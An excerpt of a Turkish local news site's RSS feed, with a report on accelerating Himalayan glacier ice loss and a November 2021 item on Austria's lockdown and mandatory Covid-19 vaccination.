<p>Küçük Buz Devri sırasında 14.798 Himalaya buzulunun boyut ve buz yüzeylerinin yeniden yapılandırılması yapıldı. 28.000 km&#8217;lik bir zirveye inceleme yapan araştırmacılar; bugün buzullar kendi alanının yüzde 40 civarında kaydedilen hesaplamalara göre yaklaşık 19.600 km olduğunu belirttiler.</p>
<p>&#8220;Bulgularımız açıkça gösteriyor ki, şu anda Himalaya buzullarından, geçmişe göre ortalama orandan en az on kat daha yüksek bir oranda buz kaybı yaşanıyor. Kayıp oranındaki bu hızlanma ancak son birkaç on yılda ortaya çıktı ve insan kaynaklı iklim değişikliği ile örtüşüyor.&#8221;</p>
<p>Himalaya dağ silsilesi, Antarktika ve Kuzey Kutbu&#8217;ndan sonra dünyanın en büyük üçüncü buzul buzuna ev sahipliği yapar ve genellikle &#8216;Üçüncü Kutup&#8217; olarak adlandırılır.</p>
<p>Himalaya buzulları genellikle doğu bölgelerinde daha hızlı kütle kaybediyor &#8211; ana bölünmenin kuzeyindeki Doğu Nepal ve Butan&#8217;ı alıyor. Çalışma, bu varyasyonun muhtemelen dağ silsilesinin iki tarafındaki coğrafi özelliklerdeki farklılıklardan ve bunların atmosferle etkileşiminden kaynaklandığını ve bunun da farklı hava modellerine yol açtığını öne sürüyor.</p>
<p>Himalaya buzulları da karada sona ermek yerine, birkaç ısınma etkisi olan göllerde sona erdikleri yerde daha hızlı düşüş gösteriyor. Bu göllerin sayısı ve boyutu artmaktadır, bu nedenle kütle kaybında devam eden ivme beklenebilir. Bunun sonucunda Himalaya buzlarının hızlı erimesinden dolayı küresel sınmayı da etkilemesi bekleniyor uzmanlarda yakın zamanda Türkiye&#8217;nin bu konuda olumsuz anlamda etkileneceğini söylüyorlar dolayısıyla Elazığ da bunun gibi olayların yaşanması sürpriz olmayacak.</p>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>YENİDEN KAPANMA GELİYOR!&#8230;</title>
		<link>https://elazigdagucluhabergazetesi.com/2021/11/19/yeniden-kapanma-geliyor/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 19 Nov 2021 11:17:20 +0000</pubDate>
				<category><![CDATA[Yaşam]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=3724</guid>

					<description><![CDATA[Avrupa’ya tam kapanma geldi. Avusturya’da Covid-19 aşısı zorunlu hale getiriliyor. &#160; &#160; Geçen hafta aşı olmayanlara sokağa çıkma yasağı getiren Avusturya’da yetkililer önlemleri artırarak Pazartesi gününden itibaren sokağa çıkma yasağını..]]></description>
										<content:encoded><![CDATA[<p><strong>Avrupa’ya tam kapanma geldi. Avusturya’da Covid-19 aşısı zorunlu hale getiriliyor.</strong></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Geçen hafta aşı olmayanlara sokağa çıkma yasağı getiren Avusturya’da yetkililer önlemleri artırarak Pazartesi gününden itibaren sokağa çıkma yasağını uygulayacağını duyurdu.</p>
<p>Batı Avrupa’da sokağa çıkma yasaklarını uygulayacak ilk ülke olacak Avusturya’da corona virüsü aşısı ise zorunlu hale getirildi. Kısa bir süre önce göreve başlayan Avusturya’nın Başbakanı Alexander Schallenberg, 1 Şubat 2022 itibariyle corona virüsü aşısının zorunlu olacağını da duyurdu.</p>
<p>Avusturya’da aşının zorunlu hale gelmesiyle aşı merkezleri önünde uzun kuyruklar oluştu.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
